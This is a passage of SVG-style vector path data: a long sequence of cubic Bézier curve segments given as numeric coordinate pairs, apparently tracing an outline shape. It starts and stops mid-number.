178978.76 115832.21 179130.16C115790.13 179192.77 115748.07 179255.39 115706.00 179318.00C115652.24 179372.21 115598.25 179426.19 115544.65 179480.54C115468.87 179566.83 115392.84 179652.92 115317.23 179739.35C115264.81 179802.56 115212.41 179865.78 115160.00 179929.00C115084.89 179993.39 115009.86 180057.87 114934.70 180122.20C114902.38 180143.89 114870.01 180165.49 114837.73 180187.23C114697.84 180305.47 114557.74 180423.48 114417.97 180541.86C114289.88 180659.30 114161.85 180776.81 114033.72 180894.21C113948.15 180958.48 113862.57 181022.74 113777.00 181087.00C113755.25 181119.40 113733.90 181152.08 113711.91 181184.31C113657.13 181250.13 113602.05 181315.70 113547.45 181381.67C113505.97 181433.45 113464.48 181485.22 113423.00 181537.00C113305.25 181622.75 113187.46 181708.45 113069.72 181794.23C112951.71 181890.88 112833.75 181987.59 112715.71 182084.20C112608.70 182159.18 112501.74 182234.25 112394.69 182309.17C112295.57 182363.96 112196.28 182418.43 112097.28 182473.43C111949.74 182557.99 111802.23 182642.61 111654.68 182727.16C111504.69 182802.18 111354.67 182877.14 111204.69 182952.18C111054.70 183037.86 110904.67 183123.47 110754.71 183209.20C110647.15 183284.45 110539.42 183359.46 110431.98 183434.86C110367.91 183488.33 110303.78 183541.74 110239.75 183595.25C110153.37 183681.75 110066.75 183768.02 109980.51 183854.66C109831.34 184014.44 109682.17 184174.22 109533.00 184334.00C109522.33 184366.33 109511.67 184398.67 109501.00 184431.00C109501.00 184473.67 109501.00 184516.33 109501.00 184559.00C109468.67 184516.33 109436.33 184473.67 109404.00 184431.00C109372.00 184441.67 109340.00 184452.33 109308.00 184463.00C109254.22 184506.05 109200.52 184549.20 109146.69 184592.18C109093.12 184624.12 109039.56 184656.06 108986.00 184688.00C108920.06 184765.00 108853.86 184841.78 108788.09 184918.92C108736.34 184981.39 108684.52 185043.80 108632.80 185106.29C108557.82 185213.64 108482.76 185320.93 108407.83 185428.31C108354.19 185524.66 108300.44 185620.95 108246.87 185717.33C108202.60 185827.70 108158.03 185937.95 108113.96 186048.39C108040.30 186237.93 107966.66 186427.47 107893.00 186617.00C107880.97 186676.69 107869.59 186736.52 107857.09 186796.11C107826.02 186940.19 107795.02 187084.28 107763.90 187228.34C107731.87 187335.66 107699.95 187443.02 107667.86 187550.33C107592.90 187721.55 107517.95 187892.78 107443.00 188064.00C107378.63 188171.45 107314.17 188278.84 107249.85 188386.32C107174.64 188547.26 107099.69 188708.33 107024.32 188869.19C106981.46 188943.88 106938.69 189018.62 106895.79 189093.29C106842.37 189168.37 106789.03 189243.51 106735.56 189318.56C106617.70 189468.37 106499.85 189618.19 106382.00 189768.00C106285.14 189853.81 106188.34 189939.68 106091.45 190025.45C105705.88 190336.38 105320.29 190647.28 104934.73 190958.23C104763.39 191108.22 104592.08 191258.25 104420.72 191408.22C104269.08 191527.15 104117.62 191646.32 103965.87 191765.09C103923.63 191796.64 103881.65 191828.56 103839.23 191859.85C103679.15 191966.57 103519.07 192073.28 103359.00 192180.00C103348.33 192180.00 103337.67 192180.00 103327.00 192180.00C103305.67 192190.67 103284.33 192201.33 103263.00 192212.00C103252.33 192201.33 103241.67 192190.67 103231.00 192180.00C103198.67 192180.00 103166.33 192180.00 103134.00 192180.00C103123.33 192169.33 103112.67 192158.67 103102.00 192148.00C103101.76 192136.65 103102.47 192125.19 103101.64 192113.91C103091.09 192082.28 103080.55 192050.64 103070.00 192019.00C103070.00 191997.67 103070.00 191976.33 103070.00 191955.00C103059.33 191944.33 103048.67 191933.67 103038.00 191923.00C102908.88 191912.04 102779.78 191900.77 102650.65 191890.00C102640.43 191890.00 102630.22 191890.00 102620.00 191890.00C102620.00 191879.33 102620.00 191868.67 102620.00 191858.00C102630.67 191847.33 102641.33 191836.67 102652.00 191826.00C102641.33 191815.33 102630.67 191804.67 102620.00 191794.00C102620.00 191783.33 102620.00 191772.67 102620.00 191762.00C102609.33 191740.33 102598.67 191718.67 102588.00 191697.00C102598.69 191686.20 102609.60 191675.61 102620.16 191664.68C102630.77 191643.45 102641.39 191622.23 102652.00 191601.00C102630.67 191579.67 102609.33 191558.33 102588.00 191537.00C102598.67 191515.33 102609.33 191493.67 102620.00 191472.00C102630.67 191461.33 102641.33 191450.67 102652.00 191440.00C102652.00 191333.00 102652.00 191226.00 102652.00 191119.00C102673.33 191000.88 102694.76 190882.77 102716.02 190764.64C102727.02 190593.43 102738.01 190422.21 102749.00 190251.00C102716.67 190090.00 102684.33 189929.00 102652.00 189768.00C102662.67 189607.33 102673.33 189446.67 102684.00 189286.00C102791.33 189125.33 102898.67 188964.67 103006.00 188804.00C103156.00 188718.00 103306.00 188632.00 103456.00 188546.00C103531.00 188557.00 103606.00 188568.00 103681.00 188579.00C103777.33 188461.00 103873.67 188343.00 103970.00 188225.00C103873.67 188192.67 103777.33 188160.33 103681.00 188128.00C103713.00 188096.00 103745.00 188064.00 103777.00 188032.00C103788.00 188053.33 103799.00 188074.67 103810.00 188096.00C103799.00 188096.00 103788.00 188096.00 103777.00 188096.00C103788.00 188106.67 103799.00 188117.33 103810.00 188128.00C103820.67 188128.00 103831.33 188128.00 103842.00 188128.00C103820.33 188096.00 103798.67 188064.00 103777.00 188032.00C103938.00 187957.00 104099.00 187882.00 104260.00 187807.00C104302.67 187742.67 104345.33 187678.33 104388.00 187614.00C104377.33 187603.33 104366.67 187592.67 104356.00 187582.00C104388.33 187549.67 104420.67 187517.33 104453.00 187485.00C104549.33 187463.67 104645.67 187442.33 104742.00 187421.00C104763.33 187367.33 104784.67 187313.67 104806.00 187260.00C104645.33 187120.67 104484.67 186981.33 104324.00 186842.00C104324.00 186852.67 104324.00 186863.33 104324.00 186874.00C104302.67 186852.67 104281.33 186831.33 104260.00 186810.00C104206.33 186799.33 104152.67 186788.67 104099.00 186778.00C104067.00 186756.67 104035.00 186735.33 104003.00 186714.00C103992.00 186671.00 103981.00 186628.00 103970.00 186585.00C103927.33 186595.67 103884.67 186606.33 103842.00 186617.00C103831.33 186638.67 103820.67 186660.33 103810.00 186682.00C103799.00 186682.00 103788.00 186682.00 103777.00 186682.00C103755.64 186660.00 103734.43 186637.83 103712.32 186616.60C103680.49 186595.29 103648.60 186574.03 103616.68 186552.84C103595.12 186542.23 103573.56 186531.61 103552.00 186521.00C103530.67 186531.67 103509.33 186542.33 103488.00 186553.00C103477.33 186553.00 103466.67 186553.00 103456.00 186553.00C103434.67 186520.67 103413.33 186488.33 103392.00 186456.00C103381.00 186456.00 103370.00 186456.00 103359.00 186456.00C103337.67 186477.67 103316.33 186499.33 103295.00 186521.00C103262.93 186499.23 103230.76 186477.61 103198.75 186455.75C103188.17 186445.17 103177.58 186434.58 103167.00 186424.00C103167.00 186413.33 103167.00 186402.67 103167.00 186392.00C103156.00 186392.00 103145.00 186392.00 103134.00 186392.00C103123.33 186402.67 103112.67 186413.33 103102.00 186424.00C103080.39 186381.00 103059.13 186337.82 103037.30 186294.94C103016.21 186262.96 102995.10 186230.98 102974.00 186199.00C102974.00 186188.33 102974.00 186177.67 102974.00 186167.00C102963.00 186145.67 102952.00 186124.33 102941.00 186103.00C102941.00 186070.67 102941.00 186038.33 102941.00 186006.00C102877.00 186006.00 102813.00 186006.00 102749.00 186006.00C102727.33 186016.67 102705.67 186027.33 102684.00 186038.00C102684.00 186027.33 102684.00 186016.67 102684.00 186006.00C102673.33 186016.67 102662.67 186027.33 102652.00 186038.00C102620.00 186016.67 102588.00 185995.33 102556.00 185974.00C102556.00 185963.33 102556.00 185952.67 102556.00 185942.00C102534.33 185942.00 102512.67 185942.00 102491.00 185942.00C102480.33 185920.67 102469.67 185899.33 102459.00 185878.00C102427.00 185867.33 102395.00 185856.67 102363.00 185846.00C102363.00 185824.33 102363.00 185802.67 102363.00 185781.00C102341.33 185770.33 102319.67 185759.67 102298.00 185749.00C102276.67 185727.67 102255.33 185706.33 102234.00 185685.00C102234.00 185652.67 102234.00 185620.33 102234.00 185588.00C102180.33 185566.67 102126.67 185545.33 102073.00 185524.00C102083.67 185513.33 102094.33 185502.67 102105.00 185492.00C102116.00 185449.00 102127.00 185406.00 102138.00 185363.00C102127.00 185341.67 102116.00 185320.33 102105.00 185299.00C102105.00 185277.67 102105.00 185256.33 102105.00 185235.00C102083.67 185224.00 102062.33 185213.00 102041.00 185202.00C102041.00 185191.33 102041.00 185180.67 102041.00 185170.00C102051.67 185170.00 102062.33 185170.00 102073.00 185170.00C102083.67 185148.67 102094.33 185127.33 102105.00 185106.00C102083.67 185095.33 102062.33 185084.67 102041.00 185074.00C102041.00 185052.67 102041.00 185031.33 102041.00 185010.00C102019.67 184999.00 101998.33 184988.00 101977.00 184977.00C101966.33 184955.67 101955.67 184934.33 101945.00 184913.00C101945.00 184881.00 101945.00 184849.00 101945.00 184817.00C101923.23 184784.60 101901.62 184752.09 101879.75 184719.75C101869.17 184709.17 101858.58 184698.58 101848.00 184688.00C101848.00 184677.33 101848.00 184666.67 101848.00 184656.00C101837.33 184656.00 101826.67 184656.00 101816.00 184656.00C101805.33 184645.33 101794.67 184634.67 101784.00 184624.00C101794.67 184613.33 101805.33 184602.67 101816.00 184592.00C101794.67 184581.00 101773.33 184570.00 101752.00 184559.00C101752.00 184548.33 101752.00 184537.67 101752.00 184527.00C101741.33 184516.33 101730.67 184505.67 101720.00 184495.00C101730.67 184463.00 101741.33 184431.00 101752.00 184399.00C101719.67 184399.00 101687.33 184399.00 101655.00 184399.00C101666.00 184388.00 101677.00 184377.00 101688.00 184366.00C101688.00 184355.33 101688.00 184344.67 101688.00 184334.00C101666.33 184291.33 101644.67 184248.67 101623.00 184206.00C101633.67 184195.33 101644.33 184184.67 101655.00 184174.00C101644.33 184163.00 101633.67 184152.00 101623.00 184141.00C101644.67 184152.00 101666.33 184163.00 101688.00 184174.00C101698.67 184163.00 101709.33 184152.00 101720.00 184141.00C101687.67 184130.33 101655.33 184119.67 101623.00 184109.00C101623.00 184087.67 101623.00 184066.33 101623.00 184045.00C101601.67 184045.00 101580.33 184045.00 101559.00 184045.00C101559.00 184034.33 101559.00 184023.67 101559.00 184013.00C101548.33 184023.67 101537.67 184034.33 101527.00 184045.00C101516.20 184034.31 101505.62 184023.40 101494.68 184012.84C101473.12 184002.23 101451.56 183991.61 101430.00 183981.00C101419.33 183991.67 101408.67 184002.33 101398.00 184013.00C101398.00 184002.33 101398.00 183991.67 101398.00 183981.00C101376.67 183981.00 101355.33 183981.00 101334.00 183981.00C101312.33 183970.00 101290.67 183959.00 101269.00 183948.00C101258.33 183948.00 101247.67 183948.00 101237.00 183948.00C101226.31 183937.20 101215.40 183926.61 101204.84 183915.68C101194.23 183894.45 101183.61 183873.23 101173.00 183852.00C101162.33 183852.00 101151.67 183852.00 101141.00 183852.00C101151.67 183841.33 101162.33 183830.67 101173.00 183820.00C101162.33 183809.33 101151.67 183798.67 101141.00 183788.00C101130.33 183788.00 101119.67 183788.00 101109.00 183788.00C101109.00 183745.00 101109.00 183702.00 101109.00 183659.00C101087.33 183648.33 101065.67 183637.67 101044.00 183627.00C101033.33 183637.67 101022.67 183648.33 101012.00 183659.00C100980.00 183648.33 100948.00 183637.67 100916.00 183627.00C100905.33 183605.67 100894.67 183584.33 100884.00 183563.00C100862.33 183552.33 100840.67 183541.67 100819.00 183531.00C100819.00 183520.00 100819.00 183509.00 100819.00 183498.00C100786.90 183487.26 100754.76 183476.65 100722.68 183465.84C100701.45 183455.23 100680.23 183444.61 100659.00 183434.00C100637.33 183434.00 100615.67 183434.00 100594.00 183434.00C100572.67 183412.67 100551.33 183391.33 100530.00 183370.00C100530.00 183359.33 100530.00 183348.67 100530.00 183338.00C100540.67 183338.00 100551.33 183338.00 100562.00 183338.00C100562.00 183327.00 100562.00 183316.00 100562.00 183305.00C100572.67 183305.00 100583.33 183305.00 100594.00 183305.00C100594.00 183294.33 100594.00 183283.67 100594.00 183273.00C100583.33 183273.00 100572.67 183273.00 100562.00 183273.00C100551.33 183262.33 100540.67 183251.67 100530.00 183241.00C100487.00 183241.00 100444.00 183241.00 100401.00 183241.00C100390.33 183230.33 100379.67 183219.67 100369.00 183209.00C100358.33 183209.00 100347.67 183209.00 100337.00 183209.00C100337.00 183198.33 100337.00 183187.67 100337.00 183177.00C100326.33 183177.00 100315.67 183177.00 100305.00 183177.00C100294.33 183166.33 100283.67 183155.67 100273.00 183145.00C100262.33 183145.00 100251.67 183145.00 100241.00 183145.00C100251.67 183145.00 100262.33 183145.00 100273.00 183145.00C100251.33 183145.00 100229.67 183145.00 100208.00 183145.00C100197.33 183155.67 100186.67 183166.33 100176.00 183177.00C100165.33 183177.00 100154.67 183177.00 100144.00 183177.00C100144.00 183187.67 100144.00 183198.33 100144.00 183209.00C100122.67 183230.33 100101.33 183251.67 100080.00 183273.00C100069.33 183262.33 100058.67 183251.67 100048.00 183241.00C100026.33 183273.33 100004.67 183305.67 99983.00 183338.00C99983.00 183327.00 99983.00 183316.00 99983.00 183305.00C99961.67 183305.00 99940.33 183305.00 99919.00 183305.00C99919.00 183294.33 99919.00 183283.67 99919.00 183273.00C99908.34 183262.33 99897.66 183251.67 99887.00 183241.00C99897.67 183241.00 99908.33 183241.00 99919.00 183241.00C99908.34 183230.33 99897.66 183219.67 99887.00 183209.00C99833.33 183187.67 99779.67 183166.33 99726.00 183145.00C99726.00 183123.33 99726.00 183101.67 99726.00 183080.00C99704.56 183058.61 99683.22 183037.12 99661.71 183015.79C99190.15 182662.19 98718.57 182308.60 98247.00 181955.00C98257.67 181933.67 98268.33 181912.33 98279.00 181891.00C98257.53 181869.57 98236.02 181848.15 98215.24 181826.05C98205.17 181806.88 98195.78 181787.28 98185.97 181767.94C98184.03 181764.53 98181.47 181760.92 98187.00 181760.00C98207.00 181750.00 98227.00 181740.00 98247.00 181730.00C98247.00 181719.33 98247.00 181708.67 98247.00 181698.00C98247.00 181708.67 98247.00 181719.33 98247.00 181730.00C98247.00 181719.33 98247.00 181708.67 98247.00 181698.00C98236.33 181676.33 98225.67 181654.67 98215.00 181633.00C98204.33 181644.00 98193.67 181655.00 98183.00 181666.00C98172.33 181633.67 98161.67 181601.33 98151.00 181569.00C98140.20 181558.31 98129.62 181547.40 98118.68 181536.84C98097.12 181526.23 98075.56 181515.61 98054.00 181505.00C98064.66 181494.33 98075.34 181483.67 98086.00 181473.00C98043.33 181408.67 98000.67 181344.33 97958.00 181280.00C97936.34 181258.33 97914.66 181236.67 97893.00 181215.00C97861.00 181215.00 97829.00 181215.00 97797.00 181215.00C97797.00 181204.33 97797.00 181193.67 97797.00 181183.00C97786.33 181183.00 97775.67 181183.00 97765.00 181183.00C97765.00 181172.33 97765.00 181161.67 97765.00 181151.00C97732.67 181140.33 97700.33 181129.67 97668.00 181119.00C97668.00 181097.67 97668.00 181076.33 97668.00 181055.00C97657.34 181044.33 97646.66 181033.67 97636.00 181023.00C97636.00 181012.00 97636.00 181001.00 97636.00 180990.00C97496.67 180990.00 97357.33 180990.00 97218.00 180990.00C97196.66 180968.67 97175.34 180947.33 97154.00 180926.00C97143.33 180926.00 97132.67 180926.00 97122.00 180926.00C97111.34 180915.33 97100.66 180904.67 97090.00 180894.00C97079.00 180904.67 97068.00 180915.33 97057.00 180926.00C97035.67 180926.00 97014.33 180926.00 96993.00 180926.00C96982.33 180904.67 96971.67 180883.33 96961.00 180862.00C96907.33 180851.33 96853.67 180840.67 96800.00 180830.00C96757.33 180851.33 96714.67 180872.67 96672.00 180894.00C96650.34 180883.33 96628.66 180872.67 96607.00 180862.00C96596.34 180872.67 96585.66 180883.33 96575.00 180894.00C96543.00 180894.00 96511.00 180894.00 96479.00 180894.00C96468.34 180904.67 96457.66 180915.33 96447.00 180926.00C96414.67 180883.33 96382.33 180840.67 96350.00 180798.00C96339.33 180798.00 96328.67 180798.00 96318.00 180798.00C96328.67 180787.00 96339.33 180776.00 96350.00 180765.00C96317.93 180743.57 96285.76 180722.28 96253.75 180700.75C96232.17 180679.50 96210.58 180658.25 96189.00 180637.00C96199.67 180637.00 96210.33 180637.00 96221.00 180637.00C96210.34 180626.33 96199.66 180615.67 96189.00 180605.00C96178.33 180605.00 96167.67 180605.00 96157.00 180605.00C96157.00 180615.67 96157.00 180626.33 96157.00 180637.00C96145.99 180636.78 96134.86 180637.47 96123.91 180636.64C96092.28 180626.09 96060.64 180615.55 96029.00 180605.00C96018.00 180615.67 96007.00 180626.33 95996.00 180637.00C95985.33 180637.00 95974.67 180637.00 95964.00 180637.00C95964.00 180615.33 95964.00 180593.67 95964.00 180572.00C95974.67 180572.00 95985.33 180572.00 95996.00 180572.00C95985.34 180561.33 95974.66 180550.67 95964.00 180540.00C95964.00 180529.33 95964.00 180518.67 95964.00 180508.00C95932.00 180497.33 95900.00 180486.67 95868.00 180476.00C95868.00 180465.33 95868.00 180454.67 95868.00 180444.00C95878.66 180433.33 95889.34 180422.67 95900.00 180412.00C95900.00 180401.00 95900.00 180390.00 95900.00 180379.00C95889.34 180368.33 95878.66 180357.67 95868.00 180347.00C95835.67 180336.33 95803.33 180325.67 95771.00 180315.00C95760.34 180304.33 95749.66 180293.67 95739.00 180283.00C95749.66 180272.33 95760.34 180261.67 95771.00 180251.00C95760.20 180240.31 95749.61 180229.40 95738.68 180218.84C95717.46 180208.23 95696.23 180197.61 95675.00 180187.00C95685.67 180176.00 95696.33 180165.00 95707.00 180154.00C95696.33 180154.00 95685.67 180154.00 95675.00 180154.00C95675.00 180143.33 95675.00 180132.67 95675.00 180122.00C95664.34 180111.33 95653.66 180100.67 95643.00 180090.00C95643.00 180079.33 95643.00 180068.67 95643.00 180058.00C95643.00 180068.67 95643.00 180079.33 95643.00 180090.00C95621.34 180079.33 95599.66 180068.67 95578.00 180058.00C95556.67 180068.67 95535.33 180079.33 95514.00 180090.00C95503.34 180100.67 95492.66 180111.33 95482.00 180122.00C95492.67 180122.00 95503.33 180122.00 95514.00 180122.00C95514.00 180143.67 95514.00 180165.33 95514.00 180187.00C95492.56 180219.07 95471.28 180251.25 95449.75 180283.25C95439.16 180293.83 95428.58 180304.42 95418.00 180315.00C95407.00 180315.00 95396.00 180315.00 95385.00 180315.00C95385.00 180336.33 95385.00 180357.67 95385.00 180379.00C95363.67 180379.00 95342.33 180379.00 95321.00 180379.00C95310.34 180368.33 95299.66 180357.67 95289.00 180347.00C95257.00 180336.33 95225.00 180325.67 95193.00 180315.00C95182.00 180304.33 95171.00 180293.67 95160.00 180283.00C95138.67 180283.00 95117.33 180283.00 95096.00 180283.00C95096.00 180272.33 95096.00 180261.67 95096.00 180251.00C95074.67 180251.00 95053.33 180251.00 95032.00 180251.00C94999.66 180229.67 94967.34 180208.33 94935.00 180187.00C94935.00 180176.00 94935.00 180165.00 94935.00 180154.00C94913.67 180154.00 94892.33 180154.00 94871.00 180154.00C94881.66 180143.33 94892.34 180132.67 94903.00 180122.00C94892.34 180111.33 94881.66 180100.67 94871.00 180090.00C94849.67 180090.00 94828.33 180090.00 94807.00 180090.00C94807.00 180079.33 94807.00 180068.67 94807.00 180058.00C94720.88 180047.35 94634.77 180036.58 94548.64 180026.00C94538.10 180026.00 94527.55 180026.00 94517.00 180026.00C94517.00 180015.33 94517.00 180004.67 94517.00 179994.00C94506.33 179994.00 94495.67 179994.00 94485.00 179994.00C94485.00 179940.33 94485.00 179886.67 94485.00 179833.00C94474.34 179822.33 94463.66 179811.67 94453.00 179801.00C94463.66 179790.33 94474.34 179779.67 94485.00 179769.00C94463.67 179747.33 94442.33 179725.67 94421.00 179704.00C94388.67 179704.00 94356.33 179704.00 94324.00 179704.00C94324.00 179693.33 94324.00 179682.67 94324.00 179672.00C94345.66 179661.33 94367.34 179650.67 94389.00 179640.00C94378.20 179629.31 94367.62 179618.40 94356.68 179607.84C94335.12 179597.23 94313.56 179586.61 94292.00 179576.00C94292.00 179565.00 94292.00 179554.00 94292.00 179543.00C94302.67 179543.00 94313.33 179543.00 94324.00 179543.00C94313.34 179532.33 94302.66 179521.67 94292.00 179511.00C94292.00 179500.33 94292.00 179489.67 94292.00 179479.00C94270.67 179468.33 94249.33 179457.67 94228.00 179447.00C94217.34 179457.67 94206.66 179468.33 94196.00 179479.00C94185.33 179479.00 94174.67 179479.00 94164.00 179479.00C94164.00 179468.33 94164.00 179457.67 94164.00 179447.00C94153.00 179447.00 94142.00 179447.00 94131.00 179447.00C94120.34 179436.33 94109.66 179425.67 94099.00 179415.00C94088.33 179415.00 94077.67 179415.00 94067.00 179415.00C94067.00 179393.67 94067.00 179372.33 94067.00 179351.00C94077.67 179351.00 94088.33 179351.00 94099.00 179351.00C94099.00 179318.67 94099.00 179286.33 94099.00 179254.00C94109.67 179232.67 94120.33 179211.33 94131.00 179190.00C94109.67 179190.00 94088.33 179190.00 94067.00 179190.00C94045.66 179157.67 94024.34 179125.33 94003.00 179093.00C94003.00 179104.00 94003.00 179115.00 94003.00 179126.00C93992.33 179115.00 93981.67 179104.00 93971.00 179093.00C93981.66 179082.33 93992.34 179071.67 94003.00 179061.00C94003.00 179029.00 94003.00 178997.00 94003.00 178965.00C93992.33 178965.00 93981.67 178965.00 93971.00 178965.00C93949.34 178954.33 93927.66 178943.67 93906.00 178933.00C93906.00 178911.33 93906.00 178889.67 93906.00 178868.00C93884.67 178868.00 93863.33 178868.00 93842.00 178868.00C93820.67 178878.67 93799.33 178889.33 93778.00 178900.00C93767.33 178900.00 93756.67 178900.00 93746.00 178900.00C93746.00 178889.33 93746.00 178878.67 93746.00 178868.00C93735.00 178857.33 93724.00 178846.67 93713.00 178836.00C93691.67 178836.00 93670.33 178836.00 93649.00 178836.00C93627.67 178825.33 93606.33 178814.67 93585.00 178804.00C93595.67 178782.67 93606.33 178761.33 93617.00 178740.00C93627.67 178729.00 93638.33 178718.00 93649.00 178707.00C93649.00 178696.33 93649.00 178685.67 93649.00 178675.00C93638.34 178664.33 93627.66 178653.67 93617.00 178643.00C93606.33 178643.00 93595.67 178643.00 93585.00 178643.00C93585.00 178621.67 93585.00 178600.33 93585.00 178579.00C93563.67 178579.00 93542.33 178579.00 93521.00 178579.00C93510.00 178557.67 93499.00 178536.33 93488.00 178515.00C93456.00 178525.67 93424.00 178536.33 93392.00 178547.00C93381.34 178536.33 93370.66 178525.67 93360.00 178515.00C93360.00 178482.67 93360.00 178450.33 93360.00 178418.00C93338.67 178407.33 93317.33 178396.67 93296.00 178386.00C93285.00 178375.33 93274.00 178364.67 93263.00 178354.00C93263.00 178332.67 93263.00 178311.33 93263.00 178290.00C93231.00 178279.00 93199.00 178268.00 93167.00 178257.00C93156.33 178268.00 93145.67 178279.00 93135.00 178290.00C93135.00 178279.00 93135.00 178268.00 93135.00 178257.00C93113.34 178246.33 93091.66 178235.67 93070.00 178225.00C93059.33 178203.67 93048.67 178182.33 93038.00 178161.00C93027.34 178150.33 93016.66 178139.67 93006.00 178129.00C93006.00 178107.33 93006.00 178085.67 93006.00 178064.00C92995.33 178042.67 92984.67 178021.33 92974.00 178000.00C92963.33 178000.00 92952.67 178000.00 92942.00 178000.00C92942.00 177989.33 92942.00 177978.67 92942.00 177968.00C92931.33 177968.00 92920.67 177968.00 92910.00 177968.00C92898.87 177978.69 92887.94 177989.60 92876.68 178000.16C92855.46 178010.77 92834.23 178021.39 92813.00 178032.00C92802.33 178032.00 92791.67 178032.00 92781.00 178032.00C92781.00 178021.33 92781.00 178010.67 92781.00 178000.00C92759.67 178000.00 92738.33 178000.00 92717.00 178000.00C92706.34 178010.67 92695.66 178021.33 92685.00 178032.00C92674.00 178032.00 92663.00 178032.00 92652.00 178032.00C92641.31 178042.80 92630.40 178053.38 92619.84 178064.32C92609.23 178085.88 92598.61 178107.44 92588.00 178129.00C92577.34 178118.33 92566.66 178107.67 92556.00 178097.00C92545.33 178118.33 92534.67 178139.67 92524.00 178161.00C92545.33 178171.67 92566.67 178182.33 92588.00 178193.00C92577.33 178193.00 92566.67 178193.00 92556.00 178193.00C92556.00 178214.33 92556.00 178235.67 92556.00 178257.00C92577.33 178278.67 92598.67 178300.33 92620.00 178322.00C92609.33 178343.33 92598.67 178364.67 92588.00 178386.00C92577.33 178386.00 92566.67 178386.00 92556.00 178386.00C92545.33 178407.33 92534.67 178428.67 92524.00 178450.00C92534.66 178460.67 92545.34 178471.33 92556.00 178482.00C92545.33 178493.00 92534.67 178504.00 92524.00 178515.00C92524.00 178525.67 92524.00 178536.33 92524.00 178547.00C92481.00 178547.00 92438.00 178547.00 92395.00 178547.00C92395.00 178536.33 92395.00 178525.67 92395.00 178515.00C92384.33 178504.00 92373.67 178493.00 92363.00 178482.00C92352.33 178503.67 92341.67 178525.33 92331.00 178547.00C92320.33 178547.00 92309.67 178547.00 92299.00 178547.00C92288.33 178525.33 92277.67 178503.67 92267.00 178482.00C92256.00 178482.00 92245.00 178482.00 92234.00 178482.00C92245.00 178493.00 92256.00 178504.00 92267.00 178515.00C92256.00 178515.00 92245.00 178515.00 92234.00 178515.00C92234.00 178547.00 92234.00 178579.00 92234.00 178611.00C92223.34 178621.67 92212.66 178632.33 92202.00 178643.00C92212.66 178653.67 92223.34 178664.33 92234.00 178675.00C92202.00 178675.00 92170.00 178675.00 92138.00 178675.00C92138.00 178685.67 92138.00 178696.33 92138.00 178707.00C92127.33 178728.67 92116.67 178750.33 92106.00 178772.00C92073.67 178761.33 92041.33 178750.67 92009.00 178740.00C92019.67 178761.33 92030.33 178782.67 92041.00 178804.00C92019.67 178814.67 91998.33 178825.33 91977.00 178836.00C91923.33 178836.00 91869.67 178836.00 91816.00 178836.00C91816.00 178846.67 91816.00 178857.33 91816.00 178868.00C91794.66 178900.33 91773.34 178932.67 91752.00 178965.00C91752.00 178975.67 91752.00 178986.33 91752.00 178997.00C91720.00 178986.33 91688.00 178975.67 91656.00 178965.00C91645.30 178975.80 91634.40 178986.39 91623.84 178997.32C91602.23 179040.21 91580.61 179083.11 91559.00 179126.00C91537.67 179126.00 91516.33 179126.00 91495.00 179126.00C91495.00 179136.67 91495.00 179147.33 91495.00 179158.00C91484.33 179158.00 91473.67 179158.00 91463.00 179158.00C91441.34 179136.33 91419.66 179114.67 91398.00 179093.00C91387.33 179104.00 91376.67 179115.00 91366.00 179126.00C91344.67 179126.00 91323.33 179126.00 91302.00 179126.00C91280.66 179147.33 91259.34 179168.67 91238.00 179190.00C91173.62 179168.82 91109.28 179147.49 91045.00 179126.00C91023.34 179136.67 91001.66 179147.33 90980.00 179158.00C90980.00 179168.67 90980.00 179179.33 90980.00 179190.00C90948.00 179179.33 90916.00 179168.67 90884.00 179158.00C90883.79 179146.89 90884.43 179135.70 90883.66 179124.64C90873.11 179082.10 90862.56 179039.55 90852.00 178997.00C90852.00 178922.00 90852.00 178847.00 90852.00 178772.00C90862.67 178739.67 90873.33 178707.33 90884.00 178675.00C90894.66 178664.33 90905.34 178653.67 90916.00 178643.00C90905.34 178632.33 90894.66 178621.67 90884.00 178611.00C90884.00 178579.00 90884.00 178547.00 90884.00 178515.00C90873.33 178515.00 90862.67 178515.00 90852.00 178515.00C90873.33 178472.00 90894.67 178429.00 90916.00 178386.00C90905.34 178375.33 90894.66 178364.67 90884.00 178354.00C90884.00 178321.67 90884.00 178289.33 90884.00 178257.00C90916.00 178214.33 90948.00 178171.67 90980.00 178129.00C90980.00 178107.33 90980.00 178085.67 90980.00 178064.00C90958.66 178042.67 90937.34 178021.33 90916.00 178000.00C90905.33 177968.00 90894.67 177936.00 90884.00 177904.00C90873.33 177893.00 90862.67 177882.00 90852.00 177871.00C90852.00 177860.33 90852.00 177849.67 90852.00 177839.00C90862.67 177839.00 90873.33 177839.00 90884.00 177839.00C90862.67 177828.33 90841.33 177817.67 90820.00 177807.00C90820.00 177775.00 90820.00 177743.00 90820.00 177711.00C90798.33 177711.00 90776.67 177711.00 90755.00 177711.00C90755.00 177700.33 90755.00 177689.67 90755.00 177679.00C90733.67 177679.00 90712.33 177679.00 90691.00 177679.00C90669.67 177668.00 90648.33 177657.00 90627.00 177646.00C90627.00 177614.00 90627.00 177582.00 90627.00 177550.00C90616.34 177539.33 90605.66 177528.67 90595.00 177518.00C90584.00 177518.00 90573.00 177518.00 90562.00 177518.00C90540.66 177539.33 90519.34 177560.67 90498.00 177582.00C90487.33 177582.00 90476.67 177582.00 90466.00 177582.00C90455.33 177539.33 90444.67 177496.67 90434.00 177454.00C90423.33 177454.00 90412.67 177454.00 90402.00 177454.00C90380.34 177464.67 90358.66 177475.33 90337.00 177486.00C90326.33 177486.00 90315.67 177486.00 90305.00 177486.00C90305.00 177475.33 90305.00 177464.67 90305.00 177454.00C90315.67 177432.33 90326.33 177410.67 90337.00 177389.00C90326.33 177389.00 90315.67 177389.00 90305.00 177389.00C90294.20 177378.31 90283.61 177367.40 90272.68 177356.84C90251.46 177346.23 90230.23 177335.61 90209.00 177325.00C90209.00 177303.67 90209.00 177282.33 90209.00 177261.00C90230.33 177250.00 90251.67 177239.00 90273.00 177228.00C90273.00 177217.33 90273.00 177206.67 90273.00 177196.00C90251.67 177196.00 90230.33 177196.00 90209.00 177196.00C90187.33 177174.67 90165.67 177153.33 90144.00 177132.00C90133.33 177110.67 90122.67 177089.33 90112.00 177068.00C90122.67 177046.33 90133.33 177024.67 90144.00 177003.00C90122.67 176992.33 90101.33 176981.67 90080.00 176971.00C90069.34 176960.33 90058.66 176949.67 90048.00 176939.00C90069.34 176917.67 90090.66 176896.33 90112.00 176875.00C90080.00 176864.33 90048.00 176853.67 90016.00 176843.00C89973.00 176843.00 89930.00 176843.00 89887.00 176843.00C89865.92 176821.09 89844.60 176799.40 89823.00 176778.00C89823.00 176767.33 89823.00 176756.67 89823.00 176746.00C89833.67 176746.00 89844.33 176746.00 89855.00 176746.00C89855.00 176735.33 89855.00 176724.67 89855.00 176714.00C89833.67 176703.33 89812.33 